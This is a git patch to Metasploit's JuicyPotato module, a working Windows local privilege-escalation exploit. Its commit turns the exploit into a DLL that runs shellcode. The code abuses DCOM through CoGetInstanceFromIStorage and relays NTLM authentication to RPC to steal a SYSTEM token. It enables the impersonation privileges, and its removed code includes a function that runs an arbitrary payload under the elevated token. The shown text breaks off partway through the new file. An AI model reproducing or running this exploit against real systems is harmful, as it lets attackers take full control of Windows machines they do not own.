From 944bda316ee202348af678dc590a8f92ef150a80 Mon Sep 17 00:00:00 2001 From: phra Date: Fri, 11 Jan 2019 16:28:30 +0100 Subject: [PATCH] feat: execute shellcode in the dll --- .../juicypotato/JuicyPotato/JuicyPotato.cpp | 1623 +++++++++-------- .../juicypotato/JuicyPotato/MSFRottenPotato.h | 62 +- 2 files changed, 939 insertions(+), 746 deletions(-) diff --git a/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp index 5667b26cc9..35f4aae47e 100644 --- a/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp +++ b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp @@ -1,715 +1,908 @@ -#include "stdafx.h" -#include "MSFRottenPotato.h" -#include "IStorageTrigger.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#pragma comment (lib, "Ws2_32.lib") -#pragma comment (lib, "Mswsock.lib") -#pragma comment (lib, "AdvApi32.lib") -#pragma comment(lib, "userenv.lib") - -wchar_t *olestr; -wchar_t *g_port; -wchar_t *rpcserver; -wchar_t *rpcport; -char dcom_port[12]; -char dcom_ip[17]; - -static const char VERSION[] = "0.1"; -BOOL TEST_mode = FALSE; -HANDLE elevated_token, duped_token; - -int PotatoAPI::newConnection; -wchar_t *processtype = NULL; -wchar_t *processargs = NULL; -wchar_t *processname = NULL; - -VOID ExecutePayload(LPVOID lpPayload) -{ - SetThreadToken(NULL, elevated_token); - VOID(*lpCode)() = (VOID(*)())lpPayload; - lpCode(); -} - -int IsTokenSystem(HANDLE tok) -{ - DWORD Size, UserSize, DomainSize; - SID *sid; - SID_NAME_USE SidType; - TCHAR UserName[64], DomainName[64]; - TOKEN_USER *User; - Size = 0; - GetTokenInformation(tok, TokenUser, NULL, 0, &Size); - if (!Size) - return FALSE; - - User = (TOKEN_USER *)malloc(Size); - assert(User); - GetTokenInformation(tok, TokenUser, User, Size, &Size); - assert(Size); - Size = GetLengthSid(User->User.Sid); - assert(Size); - sid = (SID *)malloc(Size); - assert(sid); - - CopySid(Size, sid, User->User.Sid); - UserSize = (sizeof UserName / sizeof *UserName) - 1; - DomainSize = (sizeof DomainName / sizeof *DomainName) - 1; - LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType); - free(sid); - - printf("%S;%S\\%S\n", olestr, DomainName, UserName); - if (!_wcsicmp(UserName, L"SYSTEM")) - return 1; - - return 0; -} - -void usage() -{ - printf("JuicyPotato v%s \n\n", VERSION); - - printf("Mandatory args: \n" - "-t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both\n" - "-p : program to launch\n" - "-l : COM server listen port\n" - ); - - printf("\n\n"); - printf("Optional args: \n" - "-m : COM server listen address (default 127.0.0.1)\n" - "-a : command line argument to pass to program (default NULL)\n" - "-k : RPC server ip address (default 127.0.0.1)\n" - "-n : RPC server listen port (default 135)\n" - "-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n" - "-z only test CLSID and print token's user\n" - ); -} - -PotatoAPI::PotatoAPI() { - comSendQ = new BlockingQueue(); - rpcSendQ = new BlockingQueue(); - newConnection = 0; - negotiator = new LocalNegotiator(); - return; -} - -DWORD PotatoAPI::startRPCConnectionThread() { - DWORD ThreadID; - CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID); - return ThreadID; -} - -DWORD PotatoAPI::startCOMListenerThread() { - DWORD ThreadID; - HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID); - - return ThreadID; -} - -DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) { - PotatoAPI* This = (PotatoAPI*)Param; - return This->startRPCConnection(); -} - -DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) { - PotatoAPI* This = (PotatoAPI*)Param; - return This->startCOMListener(); -} - -int PotatoAPI::findNTLMBytes(char *bytes, int len) { - //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. - //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header, - //we can just return the index - char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; - int pIdx = 0; - int i; - for (i = 0; i < len; i++) { - if (bytes[i] == pattern[pIdx]) { - pIdx = pIdx + 1; - if (pIdx == 7) return (i - 6); - } - else { - pIdx = 0; - } - } - return -1; -} - -int PotatoAPI::processNtlmBytes(char *bytes, int len) { - int ntlmLoc = findNTLMBytes(bytes, len); - if (ntlmLoc == -1) return -1; - - int messageType = bytes[ntlmLoc + 8]; - switch (messageType) { - case 1: - //NTLM type 1 message - negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc); - break; - case 2: - //NTLM type 2 message - negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc); - break; - case 3: - //NTLM type 3 message - negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc); - break; - default: - printf("Error - Unknown NTLM message type..."); - return -1; - break; - } - return 0; -} - -int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) { - fd_set readSet; - FD_ZERO(&readSet); - FD_SET(*ListenSocket, &readSet); - timeval timeout; - timeout.tv_sec = 1; // Zero timeout (poll) - timeout.tv_usec = 0; - if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) { - *ClientSocket = accept(*ListenSocket, NULL, NULL); - return 1; - } - return 0; -} - -int PotatoAPI::triggerDCOM(void) -{ - CoInitialize(nullptr); - - //Create IStorage object - IStorage *stg = NULL; - ILockBytes *lb = NULL; - HRESULT res; - - res = CreateILockBytesOnHGlobal(NULL, true, &lb); - res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); - - //Initialze IStorageTrigger object - IStorageTrigger* t = new IStorageTrigger(stg); - - CLSID clsid; - CLSIDFromString(olestr, &clsid); - CLSID tmp; - //IUnknown IID - CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); - MULTI_QI qis[1]; - qis[0].pIID = &tmp; - qis[0].pItf = NULL; - qis[0].hr = 0; - - //Call CoGetInstanceFromIStorage - HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis); - - fflush(stdout); - return 0; -} - -int PotatoAPI::startRPCConnection(void) { - const int DEFAULT_BUFLEN = 4096; - - fflush(stdout); - WSADATA wsaData; - - struct addrinfo *result = NULL, - *ptr = NULL, - hints; - - char *sendbuf; - char recvbuf[DEFAULT_BUFLEN]; - int iResult; - int recvbuflen = DEFAULT_BUFLEN; - - // Initialize Winsock - iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); - if (iResult != 0) { - printf("WSAStartup failed with error: %d\n", iResult); - return 1; - } - - ZeroMemory(&hints, sizeof(hints)); - hints.ai_family = AF_UNSPEC; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - - // Resolve the server address and port - char myhost[24]; - char myport[12]; - - if (rpcserver != NULL) { - memset(myhost, 0, 24); - wcstombs(myhost, rpcserver, 24); - } - else { - strcpy(myhost, "127.0.0.1"); - } - - if (rpcport != NULL) { - memset(myport, 0, 12); - wcstombs(myport, rpcport, 12); - } - else { - strcpy(myport, "135"); - } - - iResult = getaddrinfo(myhost, myport, &hints, &result); - if (iResult != 0) { - printf("getaddrinfo failed with error: %d\n", iResult); - WSACleanup(); - return 1; - } - - // Attempt to connect to an address - for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { - // Create a SOCKET for connecting to server - ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); - if (ConnectSocket == INVALID_SOCKET) { - printf("socket failed with error: %ld\n", WSAGetLastError()); - WSACleanup(); - return 1; - } - - // Connect to server - iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); - if (iResult == SOCKET_ERROR) { - closesocket(ConnectSocket); - ConnectSocket = INVALID_SOCKET; - continue; - } - - break; - } - - if (ConnectSocket == INVALID_SOCKET) { - printf("Unable to connect to server!\n"); - WSACleanup(); - return 1; - } - - // Send/Receive until the peer closes the connection - fflush(stdout); - do { - //Monitor our sendQ until we have some data to send - int *len = (int*)rpcSendQ->wait_pop(); - - fflush(stdout); - sendbuf = rpcSendQ->wait_pop(); - - //Check if we should be opening a new socket before we send the data - if (newConnection == 1) { - ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); - int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); - newConnection = 0; - } - - iResult = send(ConnectSocket, sendbuf, *len, 0); - if (iResult == SOCKET_ERROR) { - printf("RPC -> send failed with error: %d\n", WSAGetLastError()); - closesocket(ConnectSocket); - WSACleanup(); - return 0; - } - - iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); - if (iResult > 0) { - comSendQ->push((char*)&iResult); - comSendQ->push(recvbuf); - } - else if (iResult == 0) { - printf("RPC-> Connection closed\n"); - } - else { - printf("RPC -> recv failed with error: %d\n", WSAGetLastError()); - return 0; - } - - } while (iResult > 0); - - //printf("last iResult:%d\n", iResult); - fflush(stdout); - // cleanup - iResult = shutdown(ConnectSocket, SD_SEND); - closesocket(ConnectSocket); - WSACleanup(); - - return 0; -} - -int PotatoAPI::startCOMListener(void) { - const int DEFAULT_BUFLEN = 4096; - WSADATA wsaData; - int iResult; - struct addrinfo *result = NULL; - struct addrinfo hints; - int iSendResult; - char *sendbuf; - char recvbuf[DEFAULT_BUFLEN]; - int recvbuflen = DEFAULT_BUFLEN; - - // Initialize Winsock - iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); - if (iResult != 0) { - printf("WSAStartup failed with error: %d\n", iResult); - return 1; - } - - ZeroMemory(&hints, sizeof(hints)); - hints.ai_family = AF_INET; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - hints.ai_flags = AI_PASSIVE; - - memset(dcom_port, 0, 12); - wcstombs(dcom_port, g_port, 12); - - // printf("[+] Listening on port:%s\n", dcom_port); - // Resolve the server address and port - iResult = getaddrinfo(NULL, dcom_port, &hints, &result); - - if (iResult != 0) { - printf("getaddrinfo failed with error: %d\n", iResult); - WSACleanup(); - return 1; - } - - // Create a SOCKET for connecting to server - ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); - int optval = 1; - setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)); - - if (ListenSocket == INVALID_SOCKET) { - printf("socket failed with error: %ld\n", WSAGetLastError()); - freeaddrinfo(result); - WSACleanup(); - return 1; - } - - // Setup the TCP listening socket - iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); - //printf("startCOMListener bindresult%d\n", iResult); - if (iResult == SOCKET_ERROR) { - printf("bind failed with error: %d\n", WSAGetLastError()); - freeaddrinfo(result); - closesocket(ListenSocket); - WSACleanup(); - return 1; - } - - freeaddrinfo(result); - - iResult = listen(ListenSocket, SOMAXCONN); - if (iResult == SOCKET_ERROR) { - printf("listen failed with error: %d\n", WSAGetLastError()); - closesocket(ListenSocket); - WSACleanup(); - return 1; - } - //---- non block socket server - - timeval timeout = { 1, 0 }; - fd_set fds; - FD_ZERO(&fds); - FD_SET(ListenSocket, &fds); - - select(ListenSocket + 1, &fds, NULL, NULL, &timeout); - if (FD_ISSET(ListenSocket, &fds)) - { - ClientSocket = accept(ListenSocket, NULL, NULL); - if (ClientSocket == INVALID_SOCKET) { - printf("accept failed with error: %d\n", WSAGetLastError()); - closesocket(ListenSocket); - WSACleanup(); - return 1; - } - } - - int ntlmLoc; - do { - iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); - if (iResult > 0) { - - if (!TEST_mode) - printf(".", iResult); - - //check to see if the received packet has NTLM auth information - processNtlmBytes(recvbuf, iResult); - - //Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue" - //put packet in winrpc_sendq - rpcSendQ->push((char*)&iResult); - rpcSendQ->push(recvbuf); - - //block and wait for a new item in our sendq - int* len = (int*)comSendQ->wait_pop(); - sendbuf = comSendQ->wait_pop(); - - //Check to see if this is a packet containing NTLM authentication information before sending - processNtlmBytes(sendbuf, *len); - - //send the new packet sendbuf - iSendResult = send(ClientSocket, sendbuf, *len, 0); - - if (iSendResult == SOCKET_ERROR) { - printf("COM -> send failed with error: %d\n", WSAGetLastError()); - exit(-11); - } - - //Sometimes Windows likes to open a new connection instead of using the current one - //Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming - newConnection = checkForNewConnection(&ListenSocket, &ClientSocket); - } - else if (iResult == 0) { - //connection closing... - shutdown(ClientSocket, SD_SEND); - WSACleanup(); - exit(-1); - } - else { - if (!TEST_mode) - printf("COM -> recv failed with error: %d\n", WSAGetLastError()); - - shutdown(ClientSocket, SD_SEND); - WSACleanup(); - - exit(-1); - } - - } while (iResult > 0); - - // shutdown the connection since we're done - iResult = shutdown(ClientSocket, SD_SEND); - // printf("startCOMListener iResult ComLisetner:%d\n", iResult); - if (iResult == SOCKET_ERROR) { - printf("shutdown failed with error: %d\n", WSAGetLastError()); - closesocket(ClientSocket); - WSACleanup(); - exit(-1); - } - - // cleanup - closesocket(ClientSocket); - WSACleanup(); - return 0; -} - -BOOL EnablePriv(HANDLE hToken, LPCTSTR priv) -{ - TOKEN_PRIVILEGES tp; - LUID luid; - - if (!LookupPrivilegeValue(NULL, priv, &luid)) - { - printf("Priv Lookup FALSE\n"); - return FALSE; - } - - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if (!AdjustTokenPrivileges( - hToken, - FALSE, - &tp, - sizeof(TOKEN_PRIVILEGES), - (PTOKEN_PRIVILEGES)NULL, - (PDWORD)NULL)) - { - printf("Priv Adjust FALSE\n"); - return FALSE; - } - - return TRUE; -} - -int wmain(int argc, wchar_t** argv) -{ - BOOL brute = FALSE; - - strcpy(dcom_ip, "127.0.0.1"); - while ((argc > 1) && (argv[1][0] == '-')) - { - switch (argv[1][1]) - { - case 't': - ++argv; - --argc; - processtype = argv[1]; - break; - - case 'p': - ++argv; - --argc; - processname = argv[1]; - break; - - case 'l': - ++argv; - --argc; - g_port = argv[1]; - break; - - case 'c': - ++argv; - --argc; - olestr = argv[1]; - break; - - case 'a': - ++argv; - --argc; - processargs = argv[1]; - break; - - case 'm': - ++argv; - --argc; - memset(dcom_ip, 0, 17); - wcstombs(dcom_ip, argv[1], wcslen(argv[1])); - break; - - case 'h': - usage(); - exit(100); - break; - - case 'k': - ++argv; - --argc; - rpcserver = argv[1]; - break; - - case 'n': - ++argv; - --argc; - rpcport = argv[1]; - break; - - case 'z': - TEST_mode = TRUE; - break; - - default: - printf("Wrong Argument: %s\n", argv[1]); - usage(); - exit(-1); - } - - ++argv; - --argc; - } - - if (g_port == NULL) - { - usage(); - exit(-1); - } - - if ((processtype == NULL || processname == NULL) && !TEST_mode) - { - usage(); - exit(-1); - } - - // Fallback to default BITS CLSID - if (olestr == NULL) - olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}"; - - exit(Juicy(NULL, FALSE)); -} - -int Juicy(wchar_t *clsid, BOOL brute) -{ - PotatoAPI* test = new PotatoAPI(); - test->startCOMListenerThread(); - - if (clsid != NULL) - olestr = clsid; - - if (!TEST_mode) - printf("Testing %S %S\n", olestr, g_port); - - - test->startRPCConnectionThread(); - test->triggerDCOM(); - - BOOL result = false; - - int ret = 0; - while (true) { - - if (test->negotiator->authResult != -1) - { - - HANDLE hToken; - TOKEN_PRIVILEGES tkp; - SECURITY_DESCRIPTOR sdSecurityDescriptor; - if (!TEST_mode) - printf("\n[+] authresult %d\n", test->negotiator->authResult); - - fflush(stdout); - - // Get a token for this process. - if (!OpenProcessToken(GetCurrentProcess(), - TOKEN_ALL_ACCESS, &hToken))return 0; - - //enable privileges - EnablePriv(hToken, SE_IMPERSONATE_NAME); - EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME); - PTOKEN_TYPE ptg; - DWORD dwl = 0; - HANDLE hProcessToken; - OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, - &hProcessToken); - - QuerySecurityContextToken(test->negotiator->phContext, &elevated_token); - IsTokenSystem(elevated_token); - }//end auth - } - return result; -} - -void EntryPoint(LPVOID lpReserved) -{ - BOOL brute = FALSE; - int offset = 0; - wchar_t clsid[100]; - wchar_t gport[100]; - wchar_t gserver[100]; - wchar_t server[100]; - wchar_t port[100]; - wchar_t gip[100]; - mbstowcs(clsid, (char*)lpReserved, 100); - olestr = clsid; - offset += wcslen(clsid) + 1; - mbstowcs(gport, ((char*)lpReserved) + offset, 100); - g_port = gport; - offset += wcslen(gport) + 1; - mbstowcs(server, ((char*)lpReserved) + offset, 100); - rpcserver = server; - offset += wcslen(server) + 1; - mbstowcs(port, ((char*)lpReserved) + offset, 100); - rpcport = port; - offset += wcslen(port) + 1; - mbstowcs(gip, ((char*)lpReserved) + offset, 100); - memset(dcom_ip, 0, 17); - wcstombs(dcom_ip, gip, wcslen(gip)); - - Juicy(olestr, brute); -} +#include "stdafx.h" +#include "MSFRottenPotato.h" +#include "IStorageTrigger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment (lib, "Ws2_32.lib") +#pragma comment (lib, "Mswsock.lib") +#pragma comment (lib, "AdvApi32.lib") +#pragma comment(lib, "userenv.lib") + +//#define LOG 1 + +wchar_t *olestr; +wchar_t *g_port; +wchar_t *rpcserver; +wchar_t *rpcport; +char dcom_port[12]; +char dcom_ip[17]; + +//{8BC3F05E-D86B-11D0-A075-00C04FB68820} + +FILE* logFile; + +static const char VERSION[] = "0.1"; +BOOL TEST_mode = FALSE; +HANDLE elevated_token, duped_token; + +int PotatoAPI::newConnection; +wchar_t *processtype = NULL; +wchar_t *processargs = NULL; +wchar_t *processname = NULL; + +int IsTokenSystem(HANDLE tok) +{ + DWORD Size, UserSize, DomainSize; + SID *sid; + SID_NAME_USE SidType; + TCHAR UserName[64], DomainName[64]; + TOKEN_USER *User; + Size = 0; + GetTokenInformation(tok, TokenUser, NULL, 0, &Size); + if (!Size) + { +#ifdef LOG + fprintf(logFile, "[-] Not SYSTEM\n"); + fflush(logFile); +#endif + + return FALSE; + } + + User = (TOKEN_USER *)malloc(Size); + assert(User); + GetTokenInformation(tok, TokenUser, User, Size, &Size); + assert(Size); + Size = GetLengthSid(User->User.Sid); + assert(Size); + sid = (SID *)malloc(Size); + assert(sid); + + CopySid(Size, sid, User->User.Sid); + UserSize = (sizeof UserName / sizeof *UserName) - 1; + DomainSize = (sizeof DomainName / sizeof *DomainName) - 1; + LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType); + free(sid); +#ifdef LOG + fprintf(logFile, "%S;%S\\%S\n", olestr, DomainName, UserName); + fflush(logFile); +#endif + if (!_wcsicmp(UserName, L"SYSTEM")) + { +#ifdef LOG + fprintf(logFile, "[+] SYSTEM\n"); + fflush(logFile); +#endif + return 1; + } + +#ifdef LOG + fprintf(logFile, "[-] Not SYSTEM\n"); + fflush(logFile); +#endif + + return 0; +} + +void usage() +{ + printf("JuicyPotato v%s \n\n", VERSION); + + printf("Mandatory args: \n" + "-t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both\n" + "-p : program to launch\n" + "-l : COM server listen port\n" + ); + + printf("\n\n"); + printf("Optional args: \n" + "-m : COM server listen address (default 127.0.0.1)\n" + "-a : command line argument to pass to program (default NULL)\n" + "-k : RPC server ip address (default 127.0.0.1)\n" + "-n : RPC server listen port (default 135)\n" + "-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n" + "-z only test CLSID and print token's user\n" + ); +} + +PotatoAPI::PotatoAPI() { + comSendQ = new BlockingQueue(); + rpcSendQ = new BlockingQueue(); + newConnection = 0; + negotiator = new LocalNegotiator(); + return; +} + +DWORD PotatoAPI::startRPCConnectionThread() { + DWORD ThreadID; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID); + return ThreadID; +} + +DWORD PotatoAPI::startCOMListenerThread() { + DWORD ThreadID; + HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID); + + return ThreadID; +} + +DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) { + PotatoAPI* This = (PotatoAPI*)Param; + return This->startRPCConnection(); +} + +DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) { + PotatoAPI* This = (PotatoAPI*)Param; + return This->startCOMListener(); +} + +int PotatoAPI::findNTLMBytes(char *bytes, int len) { + //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. + //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header, + //we can just return the index + char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; + int pIdx = 0; + int i; + for (i = 0; i < len; i++) { + if (bytes[i] == pattern[pIdx]) { + pIdx = pIdx + 1; + if (pIdx == 7) return (i - 6); + } + else { + pIdx = 0; + } + } + return -1; +} + +int PotatoAPI::processNtlmBytes(char *bytes, int len) { + int ntlmLoc = findNTLMBytes(bytes, len); + if (ntlmLoc == -1) return -1; + + int messageType = bytes[ntlmLoc + 8]; + switch (messageType) { + case 1: + //NTLM type 1 message + negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc); + break; + case 2: + //NTLM type 2 message + negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc); + break; + case 3: + //NTLM type 3 message + negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc); + break; + default: +#ifdef LOG + fprintf(logFile, "[-] Error - Unknown NTLM message type...\n"); + fflush(logFile); +#endif + return -1; + break; + } + return 0; +} + +int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) { + fd_set readSet; + FD_ZERO(&readSet); + FD_SET(*ListenSocket, &readSet); + timeval timeout; + timeout.tv_sec = 1; // Zero timeout (poll) + timeout.tv_usec = 0; + if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) { + *ClientSocket = accept(*ListenSocket, NULL, NULL); + return 1; + } + return 0; +} + +int PotatoAPI::triggerDCOM(void) +{ + CoInitialize(nullptr); + + //Create IStorage object + IStorage *stg = NULL; + ILockBytes *lb = NULL; + HRESULT res; + + res = CreateILockBytesOnHGlobal(NULL, true, &lb); + res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); + + //Initialze IStorageTrigger object + IStorageTrigger* t = new IStorageTrigger(stg); + + CLSID clsid; + CLSIDFromString(olestr, &clsid); + CLSID tmp; + //IUnknown IID + CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); + MULTI_QI qis[1]; + qis[0].pIID = &tmp; + qis[0].pItf = NULL; + qis[0].hr = 0; + + //Call CoGetInstanceFromIStorage + HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis); + + fflush(stdout); + return 0; +} + +int PotatoAPI::startRPCConnection(void) { + const int DEFAULT_BUFLEN = 4096; + + fflush(stdout); + WSADATA wsaData; + + struct addrinfo *result = NULL, + *ptr = NULL, + hints; + + char *sendbuf; + char recvbuf[DEFAULT_BUFLEN]; + int iResult; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (iResult != 0) { +#ifdef LOG + fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult); + fflush(logFile); +#endif + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + // Resolve the server address and port + char myhost[24]; + char myport[12]; + + if (rpcserver != NULL) { + memset(myhost, 0, 24); + wcstombs(myhost, rpcserver, 24); + } + else { + strcpy(myhost, "127.0.0.1"); + } + + if (rpcport != NULL) { + memset(myport, 0, 12); + wcstombs(myport, rpcport, 12); + } + else { + strcpy(myport, "135"); + } + + iResult = getaddrinfo(myhost, myport, &hints, &result); + if (iResult != 0) { +#ifdef LOG + fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult); + fflush(logFile); +#endif + WSACleanup(); + return 1; + } + + // Attempt to connect to an address + for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { + // Create a SOCKET for connecting to server + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + if (ConnectSocket == INVALID_SOCKET) { +#ifdef LOG + fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError()); + fflush(logFile); +#endif + WSACleanup(); + return 1; + } + + // Connect to server + iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + if (iResult == SOCKET_ERROR) { + closesocket(ConnectSocket); + ConnectSocket = INVALID_SOCKET; + continue; + } + + break; + } + + if (ConnectSocket == INVALID_SOCKET) { +#ifdef LOG + fprintf(logFile, "[-] Unable to connect to server!\n"); + fflush(logFile); +#endif + WSACleanup(); + return 1; + } + + // Send/Receive until the peer closes the connection + fflush(stdout); + do { + //Monitor our sendQ until we have some data to send + int *len = (int*)rpcSendQ->wait_pop(); + + fflush(stdout); + sendbuf = rpcSendQ->wait_pop(); + + //Check if we should be opening a new socket before we send the data + if (newConnection == 1) { + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + newConnection = 0; + } + + iResult = send(ConnectSocket, sendbuf, *len, 0); + if (iResult == SOCKET_ERROR) { +#ifdef LOG + fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + closesocket(ConnectSocket); + WSACleanup(); + return 0; + } + + iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + comSendQ->push((char*)&iResult); + comSendQ->push(recvbuf); + } + else if (iResult == 0) { +#ifdef LOG + fprintf(logFile, "RPC-> Connection closed\n"); + fflush(logFile); +#endif + } + else { +#ifdef LOG + fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + return 0; + } + + } while (iResult > 0); +#ifdef LOG + fprintf(logFile, "last iResult:%d\n", iResult); + fflush(logFile); +#endif + + // cleanup + iResult = shutdown(ConnectSocket, SD_SEND); + closesocket(ConnectSocket); + WSACleanup(); + + return 0; +} + +int PotatoAPI::startCOMListener(void) { + const int DEFAULT_BUFLEN = 4096; + WSADATA wsaData; + int iResult; + struct addrinfo *result = NULL; + struct addrinfo hints; + int iSendResult; + char *sendbuf; + char recvbuf[DEFAULT_BUFLEN]; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (iResult != 0) { +#ifdef LOG + fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult); + fflush(logFile); +#endif + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + memset(dcom_port, 0, 12); + wcstombs(dcom_port, g_port, 12); + + // printf("[+] Listening on port:%s\n", dcom_port); + // Resolve the server address and port + iResult = getaddrinfo(NULL, dcom_port, &hints, &result); + + if (iResult != 0) { +#ifdef LOG + fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult); + fflush(logFile); +#endif + WSACleanup(); + return 1; + } + + // Create a SOCKET for connecting to server + ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); + int optval = 1; + setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)); + + if (ListenSocket == INVALID_SOCKET) { +#ifdef LOG + fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError()); + fflush(logFile); +#endif + freeaddrinfo(result); + WSACleanup(); + return 1; + } + + // Setup the TCP listening socket + iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); +#ifdef LOG + fprintf(logFile, "startCOMListener bindresult%d\n", iResult); + fflush(logFile); +#endif + if (iResult == SOCKET_ERROR) { +#ifdef LOG + fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + freeaddrinfo(result); + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + freeaddrinfo(result); + + iResult = listen(ListenSocket, SOMAXCONN); + if (iResult == SOCKET_ERROR) { +#ifdef LOG + fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + //---- non block socket server + + timeval timeout = { 1, 0 }; + fd_set fds; + FD_ZERO(&fds); + FD_SET(ListenSocket, &fds); + + select(ListenSocket + 1, &fds, NULL, NULL, &timeout); + if (FD_ISSET(ListenSocket, &fds)) + { + ClientSocket = accept(ListenSocket, NULL, NULL); + if (ClientSocket == INVALID_SOCKET) { +#ifdef LOG + fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + } + + int 